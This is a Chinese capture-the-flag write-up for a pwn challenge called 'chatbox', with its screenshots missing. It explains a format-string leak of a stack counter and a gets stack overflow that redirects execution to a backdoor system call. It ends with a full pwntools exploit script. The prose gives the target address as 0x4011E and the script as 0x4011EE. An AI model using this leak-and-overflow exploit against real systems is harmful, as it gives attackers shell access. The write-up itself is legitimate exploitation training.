chatbox
.png)
main函数:
.png)
ask函数:
.png)
.png)
ask函数中间一段代码是计算的,没有漏洞利用,这里就放ask的重点部分了
tells函数:
.png)
scanf函数:.png)
printf函数:
.png)
acm函数:
.png)
我们看到有后门函数acm,但是开头有一个d检查,但是no pie,我们就不用管了,我们直接把调用system的地址当作后门函数地址就行了
.png)
我们可以直接从ida中看,是0x4011E,我们看到scanf中有一个经典的危险函数gets,我们可以利用这个进行栈溢出,要注意的点就是在scanf中栈溢出时v2+72的位置要放"1145141919810",这是因为下面的printf会检查这个位置,相当于一个已知的canary,我们是从v2+cnt的位置开始写入的,那我们就要先填72-cnt个数值,然后在72填canary,后面就常规溢出,但是我们要先获取cnt的值,我们看到ask函数和tells函数都是先调用了一次scanf,再调用一次printf,而且printf中都有格式化字串漏洞,而且cnt的值是储存在栈上的,我们可以利用格式化字符串漏洞泄露cnt,那我们该选那个泄露呢,我们要注意到,tells函数和ask函数都会重置一遍cnt,但是tells函数是在函数末尾生成并重置,而ask函数是在开头生成,结尾重置,我们只能利用ask函数中的格式化字符串漏洞才能泄露重置的cnt,那我们的思路就是在ask中用scanf向v6读入格式化字符串,用printfv6泄露新生成的cnt,然后利用tells中的scanf栈溢出,那我们先找格式化字符串的偏移量,这里我们在gdb中看:
.png)
我们断点是下在printf函数中printf@plt上,我们知道rsp对应的是printf第7个参数(%6$p,第一个参数是格式化字符串本身),我们可以看到
0x0000000000000019对应的就是%10$p,注意v2是int类型,只有4字节,我们要用d而不是p(由于是小端序,我们读的是低4字节),这就是新生成的cnt(旧的cnt在很下面,这个我们可以从ida中看出,所以这里是新cnt),那我们就能成功泄露cnt(ask函数结尾是把v2+1作为新生成的 cnt,我们泄露的是v2,所以要加上1才是cnt)了,利用栈溢出就能成功getshell了。
EXP:
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
#p = remote("172.23.216.203", 33739)
p = process('./chatbox')
p.recvuntil('2.跟我侃大山。'.encode())
p.sendline(b'1')
p.recvuntil("你可以问我个位数老九门加减法".encode())
p.sendline(b'%10$d')
leaked_data = p.recvuntil("系统".encode(), drop=True)
v2 = int(leaked_data)
cnt = v2 + 1
print(f"[*] Leaked random value (cnt): {cnt}")
pad_len = 72 - cnt
p.sendline(b'2')
magic_addr = 0x4011EE
payload = flat([
b'a' * pad_len,
b'1145141919810',
b'a' * 35,
magic_addr
])
p.recvuntil("谁还要讲故事?".encode())
p.sendline(payload)
p.interactive()题目链接: